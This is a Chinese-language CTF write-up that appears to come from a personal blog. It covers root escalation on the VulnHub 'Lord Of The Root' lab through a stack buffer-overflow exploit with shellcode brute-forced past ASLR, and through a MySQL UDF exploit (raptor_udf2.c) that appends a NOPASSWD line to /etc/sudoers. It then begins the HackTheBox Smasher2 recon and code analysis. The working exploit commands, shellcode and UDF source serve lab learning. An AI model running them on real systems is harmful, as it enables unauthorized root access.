(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A
<8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A                
Starting program: /home/smeagol/Desktop/file Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A

Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()
```

如预期的那样，在0x41376641收到段错误。可以将此数字带回metasploit脚本，以查看它是多少个字符：

``` bash
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
[*] Exact match at offset 171
```

现在知道二进制文件将在第171个字符串处进行段错误处理，然后可以更新fuzz进行确认。通过GDB，添加171个字符A，4个字符B和其余的C。

``` bash
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50')
run $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50')
Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info r
info r
eax            0x0      0
ecx            0xbffffdd0       -1073742384
edx            0xbffffb54       -1073743020
ebx            0xb7fc0000       -1208221696
esp            0xbffffb30       0xbffffb30
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x42424242       0x42424242
eflags         0x10202  [ IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
```

如上所示，检查了寄存器，发现EIP现在已被0x42424242覆盖，该十六进制转换为BBBB。现在可以控制EIP！进一步的枚举告诉我还启用了ASLR：

``` bash
smeagol@LordOfTheRoot:~/Desktop$ cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
2
```

看到启用了ASLR，这将使的地址空间随机化。此外，程序中没有可使用的JMP ESP指令。使无法指定特定的EIP地址来指向shellcode。

但是，我的想法是，如果可以循环利用漏洞，也许可以“猜测”甚至更好，用EIP地址获得“lucky”，从而击中了shellcode。为此，需要在漏洞利用程序中添加一个较大的NOPsled，以便如果EIP确实被正确击中，则NOPsled将允许程序滑至我的shellcode。

再次运行payload，这次使用了2000个较大的Nopsled：

``` bash
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/s $esp
x/s $esp
0xbfffee70:     '\220' <repeats 200 times>...
```

因此，仍然可以控制EIP，看来ESP指向的是其他位置，0xbfffee70,将使用它作为EIP的位置。另外，将包括shellcode。生成shell的非常常见的shellcode是：

``` bash
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80
```

在当前的GDB会话中测试payload，以确认漏洞利用程序是否正常工作：

``` bash
(gdb) run $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/file $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
process 30271 is executing new program: /bin/dash
$ id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
$ whoami
smeagol
```

优秀！产生了一个shell。但是，以smeagol的身份运行，而不是以root用户身份运行，因为这只是我复制下来的文件。另外，请务必注意，我的EIP地址位置“\x70\xee\xff\xbf"
由于字节序少，所以反向写入。

现在，我知道我的漏洞利用程序有用，现在是时候将该漏洞循环到真实环境中了。使用以下脚本来完成此任务：

``` bash
for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
```

准备好漏洞利用程序后，回到/SECRET/目录并找到适当的文件并执行脚本：

``` bash
smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file
door1/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
door2/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
door3/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped
```
运行下面的命令，成功提权如下所示。。。

``` bash
for a in {1..1000}; do /SECRET/door3/file $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
```

``` bash
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol)
# whoami
root
```

读取flag

``` bash
# cd /root
# ls                                                                                                                                                                                                                                       
Flag.txt  buf  buf.c  other  other.c  switcher.py                                                                                                                                                                                          
# cat Flag.txt                                                                                                                                                                                                                             
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”                                                                                                                                   
– Gandalf
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub186.jpg)

#### 提权3:mysql-udf提权

使用sqlmap dump出mysql的用户名和密码的hash值，之前的步骤略

``` bash
root@kali:~# sqlmap -u http://192.168.56.113:1337/978345210/index.php --forms --batch -D mysql -T user --dump
root             | <blank> | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
root             | <blank> | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
debian-sys-maint | <blank> | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F | 
root             | <blank> | *A55A9B9049F69BC2768C9284615361DFBD580B34 |
root             | <blank> | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
```

解密出

``` bash
*4DD56158ACDBA81BFE3FF9D3D7375231596CE10F
```

的值是darkshadow
然后用之前的账号和密码先连接ssh

searchsploit搜索mysql udf提权exploit

``` bash
root@kali:~# searchsploit User-Defined Function
---------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                    |  Path
                                                                                  | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------- ----------------------------------------
Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly ca | exploits/windows/dos/43466.js
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)            | exploits/linux/local/1181.c
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)           | exploits/linux/local/1518.c
MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution                 | exploits/windows/remote/3274.txt
---------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# cat /usr/share/exploitdb/exploits/linux/local/1518.c
/*
 * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
 *
 * raptor_udf2.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation through
 * MySQL run with root privileges (very bad idea!), slightly modified to work 
 * with newer versions of the open-source database. Tested on MySQL 4.1.14.
 *
 * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
 *
 * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
 * for the security vulnerabilities in the handling of User Defined Functions
 * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
 * details, please refer to:
 *
 * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
 * http://www.wisec.it/vulns.php?page=4
 * http://www.wisec.it/vulns.php?page=5
 * http://www.wisec.it/vulns.php?page=6
 *
 * "UDFs should have at least one symbol defined in addition to the xxx symbol 
 * that corresponds to the main xxx() function. These auxiliary symbols 
 * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and 
 * xxx_add() functions". -- User Defined Functions Security Precautions 
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 *
 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
 *
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
        unsigned int            arg_count;      // number of arguments
        enum Item_result        *arg_type;      // pointer to item_result
        char                    **args;         // pointer to arguments
        unsigned long           *lengths;       // length of string args
        char                    *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
        char                    maybe_null;     // 1 if func can return NULL
        unsigned int            decimals;       // for real functions
        unsigned long           max_length;     // for string functions
        char                    *ptr;           // free ptr for func data
        char                    const_item;     // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if (args->arg_count != 1)
                return(0);

        system(args->args[0]);

        return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
        return(0);
}

// milw0rm.com [2006-02-20]
```

将下面的代码命名为raptor_udf2.c

``` bash
#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
        unsigned int            arg_count;      // number of arguments
        enum Item_result        *arg_type;      // pointer to item_result
        char                    **args;         // pointer to arguments
        unsigned long           *lengths;       // length of string args
        char                    *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
        char                    maybe_null;     // 1 if func can return NULL
        unsigned int            decimals;       // for real functions
        unsigned long           max_length;     // for string functions
        char                    *ptr;           // free ptr for func data
        char                    const_item;     // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if (args->arg_count != 1)
                return(0);

        system(args->args[0]);

        return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
        return(0);
}
```

执行下面命令编译


``` bash
smeagol@LordOfTheRoot:~$ gcc -g -c raptor_udf2.c
smeagol@LordOfTheRoot:~$ gcc -g -shared -Wl,-soname,raptor_udf2.so -oraptor_udf2.so raptor_udf2.o -lc
smeagol@LordOfTheRoot:~$ ls
39166.c  Documents  examples.desktop  Music     Public         raptor_udf2.o   Templates
Desktop  Downloads  exp               Pictures  raptor_udf2.c  raptor_udf2.so  Videos
```

最后连接mysql数据库执行下面命令提权


``` bash
smeagol@LordOfTheRoot:~$ mysql -uroot -pdarkshadow
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 9781
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('/home/smeagol/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.08 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

mysql> select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');
+----------------------------------------------------------------------+
| do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers') |
+----------------------------------------------------------------------+
|                                                                    0 |
+----------------------------------------------------------------------+
1 row in set (0.02 sec)

mysql> quit
Bye
smeagol@LordOfTheRoot:~$ sudo bash
root@LordOfTheRoot:~# id
uid=0(root) gid=0(root) groups=0(root)
root@LordOfTheRoot:~# whoami
root
root@LordOfTheRoot:~# cd /root
root@LordOfTheRoot:/root# ls
buf  buf.c  Flag.txt  other  other.c  switcher.py
root@LordOfTheRoot:/root# cat Flag.txt 
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
root@LordOfTheRoot:/root#
```

可以看到，成功的提权了

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub187.jpg)


#### 知识点总结

 - 端口碰撞
 - sql注入时间盲注
 - “overlayfs”本地权限提升
 - 利用SUID利用root拥有的二进制文件提权
 - gdb调试得到python shellcode的poc
 - mysql-udf提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Lord-Of-The-Root-1-0-1 -->

</details>

<a id="case-smasher2"></a>

## 引用计数与内核映射

应用的原生模块引用计数影响对象生命周期，本地 dhid 接口继续分析 mmap 边界。替代登录路径、堆布局和内核代码按原实验保留。

<p class="kb-provenance">来源 Smasher2 · 原记录 2019-12-26 · 66 个代码块 · 18 处图片引用</p>

<details class="kb-evidence" id="record-smasher2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Smasher2 -->

#### 介绍

<font color="red">注意：本博客每一篇博客仅作记录供本人日后查阅。</font>

难度：疯狂
点数：50
发布日期：2019年6月01日
IP:10.10.10.135

user.txt和root.txt的一血分别用了07小时13分55秒，20小时29分49秒，真够疯狂的。
 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1.jpg)
 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### 开始之前

注册hack the box需要邀请码，无非就是找到注册api然后解密两次，很简单,参考网址[Hack The Box: How to get invite code](https://codeburst.io/hack-the-box-how-to-get-invite-code-56e369fc8dae)根据教程一步一步走就能获得注册码了，英文不好的小朋友自行谷歌翻译。

#### 准备入坑[Hack The Box]

htb的每一个靶场需要vpn连接才能使用，按照下图根据说明下载.ovpn文件，然后下载openvpn连接客户端，社区免费版下载网址[Openvpn Community Downloads](https://openvpn.net/community-downloads/),下载安装完成后导入.ovpn文件点击连接即可打开靶机的网址。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2.jpg)

#### 信息收集

老规矩上nmap

``` bash
root@kali:~# nmap -p- --min-rate 10000 10.10.10.135 -v -sV (快速扫描所有开放的tcp端口)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

root@kali:~# nmap -p 22,53,80 -sC -sV -A -v 10.10.10.135 (扫描端口开放的服务)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
|   256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_  256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open  domain  ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden

root@kali:~# nmap -sU -p- --min-rate 10000 -v 10.10.10.135 (快速扫描开放的udp端口)
PORT   STATE SERVICE
53/udp open  domain
```

dirb爆破一波

``` bash
root@kali:~# dirb http://10.10.10.135/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Dec 26 20:55:10 2019
URL_BASE: http://10.10.10.135/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.135/ ----
+ http://10.10.10.135/.config (CODE:403|SIZE:294)                                                 
+ http://10.10.10.135/_vti_bin/_vti_adm/admin.dll (CODE:403|SIZE:314)                             
+ http://10.10.10.135/_vti_bin/_vti_aut/author.dll (CODE:403|SIZE:315)                            
+ http://10.10.10.135/_vti_bin/shtml.dll (CODE:403|SIZE:305)                                      
+ http://10.10.10.135/akeeba.backend.log (CODE:403|SIZE:305)                                      
+ http://10.10.10.135/awstats.conf (CODE:403|SIZE:299)                                            
==> DIRECTORY: http://10.10.10.135/backup/                                                        
+ http://10.10.10.135/development.log (CODE:403|SIZE:302)                                         
+ http://10.10.10.135/global.asa (CODE:403|SIZE:297)                                              
+ http://10.10.10.135/global.asax (CODE:403|SIZE:298)                                                            
+ http://10.10.10.135/index.html (CODE:200|SIZE:10918)                                                           
+ http://10.10.10.135/main.mdb (CODE:403|SIZE:295)                                                               
+ http://10.10.10.135/php.ini (CODE:403|SIZE:294)                                                 
+ http://10.10.10.135/production.log (CODE:403|SIZE:301)                                          
+ http://10.10.10.135/readfile (CODE:403|SIZE:414)                                                
+ http://10.10.10.135/server-status (CODE:403|SIZE:300)                                           
+ http://10.10.10.135/spamlog.log (CODE:403|SIZE:298)                                             
+ http://10.10.10.135/thumbs.db (CODE:403|SIZE:296)                                               
+ http://10.10.10.135/Thumbs.db (CODE:403|SIZE:296)                                               
+ http://10.10.10.135/WS_FTP.LOG (CODE:403|SIZE:297) 
```

发现backup目录,这个把靶场刚发布时，/backup受.htpassword保护，该密码作为基本身份验证的弹出窗口显示，需要用hydra爆破用户名和密码，使用kali中的rockyou.txt字典。 但是现在此内容已从box中移除，因此，如果现在访问/backup，则会直接将您带进去。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb3.jpg)

下载这两个文件。

由于53的tcp/udp端口都开放了，TCP上的DNS通常仅对区域传输开放。 这是要尝试的第一件事。 猜想域名是smasher.htb和smasher2.htb。 返回有趣的结果：

``` bash
root@kali:~# dig axfr @10.10.10.135 smasher2.htb

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @10.10.10.135 smasher2.htb
; (1 server found)
;; global options: +cmd
smasher2.htb.           604800  IN      SOA     smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb.           604800  IN      NS      smasher2.htb.
smasher2.htb.           604800  IN      A       127.0.0.1
smasher2.htb.           604800  IN      AAAA    ::1
smasher2.htb.           604800  IN      PTR     wonderfulsessionmanager.smasher2.htb.
smasher2.htb.           604800  IN      SOA     smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 265 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: 四 12月 26 21:25:05 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)
```

将下面ip地址和3个域名添加到hosts文件中

``` bash
10.10.10.135 wonderfulsessionmanager.smasher2.htb smasher2.htb root.smasher2.htb
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb4.jpg)

访问http://root.smasher2.htb/backup/发现还是原来的页面如下图所示

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb5.jpg)

访问http://wonderfulsessionmanager.smasher2.htb/如下

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb6.jpg)

点击try login登录

 - 查看之前下载的python文件的源码

从/backup提取的两个文件构成了Python Flask Web应用程序。 主要代码是auth.py。 第二行是import ses，像其他Python模块一样加载.so共享库。

ses库用于在应用程序启动时创建具有登录凭据的对象。 不幸的是，用户名和密码已从以下备用代码中删除：

``` bash
def safe_init_manager(id):
    lock.acquire()
    if id in Managers:
        del Managers[id]
    else:
            login = ["<REDACTED>", "<REDACTED>"]
            Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
    lock.release()
```

Flask应用程序具有以@app.before_request修饰的before_request函数，因此它将在将每个请求传递给路由处理代码之前与每个请求一起运行：

``` bash
@app.before_request
def before_request():
    if request.path == "/":
        if not session.has_key("id"):
            k = get_secure_key()
            safe_init_manager(k)
            session["id"] = k
        elif session.has_key("id") and not safe_have_manager(session["id"]):
            del session["id"]
            return redirect("/", 302)
    else:
        if session.has_key("id") and safe_have_manager(session["id"]):
            pass
        else:
            return redirect("/", 302)
```
此代码确保为每次访问创建一个会话，或者将其重定向到/。
该应用程序有五个路径，/assets/<path:filename>, /, /login, /auth, /api。 最后两个最有趣。


####  Shell as dzonerzy

 - 获取API密钥

尝试登录该页面时，有一个POST到/auth。 看一下这段代码，就会发现以下内容：

``` bash
@app.route('/auth', methods=['POST'])
def login():
    ret = {"authenticated": None, "result": None}
    manager = safe_get_manager(session["id"])
    data = request.get_json(silent=True)
    if data:
        try:
            tmp_login = dict(data["data"])
        except:
            pass
        tmp_user_login = None
        try:
            is_logged = manager.check_login(data)
            secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
            try:
                tmp_user_login = {"username": tmp_login["username"], "password": tmp_login["password"]}
            except:
                pass
            if not is_logged[0]:
                ret["authenticated"] = False
                ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
            else:
                if tmp_user_login is not None:
                    log_creds(request.remote_addr, tmp_user_login)
                ret["authenticated"] = True
                ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
        except TypeError as e:
            ret["authenticated"] = False
            ret["result"] = str(e)
    else:
        ret["authenticated"] = False
        ret["result"] = "Cannot authenticate missing parameters."
    return jsonify(ret)
```

现在是需要了解依赖于ses.so中的模块的manager对象的地方。 下图是上面is_logged = manager.check_login(data)调用的can_login函数在Ida Pro中的样子：

![](https://0xdf.gitlab.io/img/1570903084609.png)

国外大佬的图分析的很清楚，再次膜拜

关于Python代码的另一条注释-api密钥（存储为manager.secret_key）在此处设置：

``` bash
        login = ["<REDACTED>", "<REDACTED>"]
        Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
```

craft_secure_token()，它只是获取输入并对其进行hash处理：

``` bash
def craft_secure_token(content):
    h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)
    return h.hexdigest()
```
这意味着只要用户名和密码不变，API密钥也不会改变。

#### 方法1：利用引用计数

这是预期的方法，但是很难发现.

Python对象是在堆上分配的，并且保留引用计数以监视它们是否在使用中，并且当引用计数达到0时，垃圾收集器将释放空间。 在编写Python代码时，将为您进行管理。 但是一旦开始编写C扩展名（编译为.so文件），就必须[manage these references yourself](http://edcjones.tripod.com/refcount.html)。 有[series of C macros](https://docs.python.org/3.8/c-api/refcounting.html)将有助于实现这一目标。 可以通过在CPython源代码中查看[object.c](https://github.com/python/cpython/blob/master/Include/object.h)来查看Python对象。

首先，我将看到对象结构使得任何对象中的第一个值都是ob_refcnt，即引用计数：

``` bash
typedef struct _object {
    _PyObject_HEAD_EXTRA
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
} PyObject;
```

我还可以看到PyINCREF(op)宏基本上只是对_PyINCREF的调用，该调用基本上只是向该引用计数器值添加一个：

``` bash
static inline void _Py_INCREF(PyObject *op)
{
    _Py_INC_REFTOTAL;
    op->ob_refcnt++;
}

#define Py_INCREF(op) _Py_INCREF(_PyObject_CAST(op))
```

类似地，如果查看Py_DECREF，则相同，除了代码运行不仅会减少引用计数器，而且如果该计数器为0，它将在对象上调用_Py_Dealloc：

``` bash
static inline void _Py_DECREF(const char *filename, int lineno,
                              PyObject *op)
{
    (void)filename; /* may be unused, shut up -Wunused-parameter */
    (void)lineno; /* may be unused, shut up -Wunused-parameter */
    _Py_DEC_REFTOTAL;
    if (--op->ob_refcnt != 0) {
#ifdef Py_REF_DEBUG
        if (op->ob_refcnt < 0) {
            _Py_NegativeRefcount(filename, lineno, op);
        }
#endif
    }
    else {
        _Py_Dealloc(op);
    }
}

#define Py_DECREF(op) _Py_DECREF(__FILE__, __LINE__, _PyObject_CAST(op))
```

根据文档，_Py_Dealloc没有在此定义，因为它仅在解释器代码中使用。
我将在Ghidra中打开该模块，然后看一下反汇编。 当我开始学习具有这些知识的代码时，便开始看到我认为这些宏的实例。 例如，在SessionManager_check_login中，在第44行：


``` bash
  post_has_data = dict_contains(post_data,&data);
  if ((char)post_has_data != '\x01') {
    *post_data = *post_data + -1;
    if (*post_data == 0) {
      (**(code **)(post_data[1] + 0x30))(post_data);
    }
    plVar2 = (long *)ErrorMsg(PyExc_TypeError,"Missing data parameter",parameter,uVar3,in_R8B,in_R9B
                              ,(char)parameter);
    goto LAB_0010250e;
  }
```

它调用dict_contains来查看传递给它的（我的POST）是否是包含键“data”的字典。 如果返回的结果不为true（'\ x01'），则它将递减参考计数器，然后检查它是否现在为0。如果是，则其自身将调用post_data [1] + 0x30。

由于我知道post_data是一个字典对象，因此我可以查看dictobject.c的Python源代码，以了解结构的定义位置：

``` bash
PyTypeObject PyDictIterItem_Type = {
    PyVarObject_HEAD_INIT(&PyType_Type, 0)
    "dictionary-itemiterator",                  /* tp_name */
    sizeof(dictiterobject),                     /* tp_basicsize */
    0,                                          /* tp_itemsize */
    /* methods */
    (destructor)dictiter_dealloc,               /* tp_dealloc */
    0,                                          /* tp_print */
    0,                                          /* tp_getattr */
    0,                                          /* tp_setattr */
    0,                                          /* tp_compare */
    0,                                          /* tp_repr */
    0,                                          /* tp_as_number */
    0,                                          /* tp_as_sequence */
    0,                                          /* tp_as_mapping */
    0,                                          /* tp_hash */
    0,                                          /* tp_call */
    0,                                          /* tp_str */
    PyObject_GenericGetAttr,                    /* tp_getattro */
    0,                                          /* tp_setattro */
    0,                                          /* tp_as_buffer */
    Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC,/* tp_flags */
    0,                                          /* tp_doc */
    (traverseproc)dictiter_traverse,            /* tp_traverse */
    0,                                          /* tp_clear */
    0,                                          /* tp_richcompare */
    0,                                          /* tp_weaklistoffset */
    PyObject_SelfIter,                          /* tp_iter */
    (iternextfunc)dictiter_iternextitem,        /* tp_iternext */
